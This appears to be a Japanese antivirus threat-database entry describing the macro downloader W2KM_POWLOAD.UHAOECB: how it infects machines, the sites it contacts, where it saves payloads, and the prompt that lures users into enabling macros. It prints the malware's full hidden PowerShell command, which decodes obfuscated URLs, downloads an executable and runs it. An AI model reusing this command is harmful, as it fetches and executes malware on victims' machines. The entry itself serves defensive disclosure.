W2KM_POWLOAD.UHAOECB

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、ダウンロードしたファイルを実行します。 ただし、情報公開日現在、このWebサイトにはアクセスできません。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスし、不正なファイルをダウンロードして実行します。

• http://{BLOCKED}koqa.{BLOCKED}/admin.php?f=2
• http://{BLOCKED}foloaz.{BLOCKED}/admin.php?f=2

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

• %AppDataLocal%\Temp{random number between 1 and 65536}.exe

(註：%AppDataLocal%フォルダは、Windows 2000、XP および Server 2003 の場合、通常、"C:\Documents and Settings\＜ユーザ名＞\Local Settings\Application Data"、Windows Vista および 7 の場合、"C:\Users\＜ユーザ名＞\AppData\Local" です。)

マルウェアは、ダウンロードしたファイルを実行します。

ただし、情報公開日現在、このWebサイトにはアクセスできません。

その他

マルウェアは、以下のPowershellコマンドを利用して不正なファイルをダウンロードし実行します。

• powershell -WindowStyle Hidden $PSHfThU = new-object System.Net.WebClient;$VVEXvqesbsBc = new-object random;$str = 'hBhutBhutBhupBhu:Bhu/Bhu/BhuwBhueBhunBhumBhuaBhuaBhukBhuoBhuqBhuaBhu.BhutBhuoBhupBhu/BhuaBhudBhumBhuiBhunBhu.BhupBhuhBhupBhu?BhufBhu=Bhu2,hBhutBhutBhupBhu:Bhu/Bhu/BhuhBhuoBhuoBhupBhueBhurBhufBhuoBhulBhuoBhuaBhuzBhu.BhutBhuoBhupBhu/BhuaBhudBhumBhuiBhunBhu.BhupBhuhBhupBhu?BhufBhu=Bhu2' -replace 'Bhu', ''; $TqnLyfVtuYxD = $str.Split(',');$name = $VVEXvqesbsBc.next(1, 65536);$JwFrFcqYxEXm = $env:temp + '' + $name + '.exe';foreach($yxlOXWDwCFTfF in $TqnLyfVtuYxD){try{$PSHfThU.DownloadFile($yxlOXWDwCFTfF.ToString(), $JwFrFcqYxEXm);Start-Process $JwFrFcqYxEXm;break;}catch{write-host $_.Exception.Message;}};

以下の画面を表示し、マクロ機能を有効にするよう誘導します。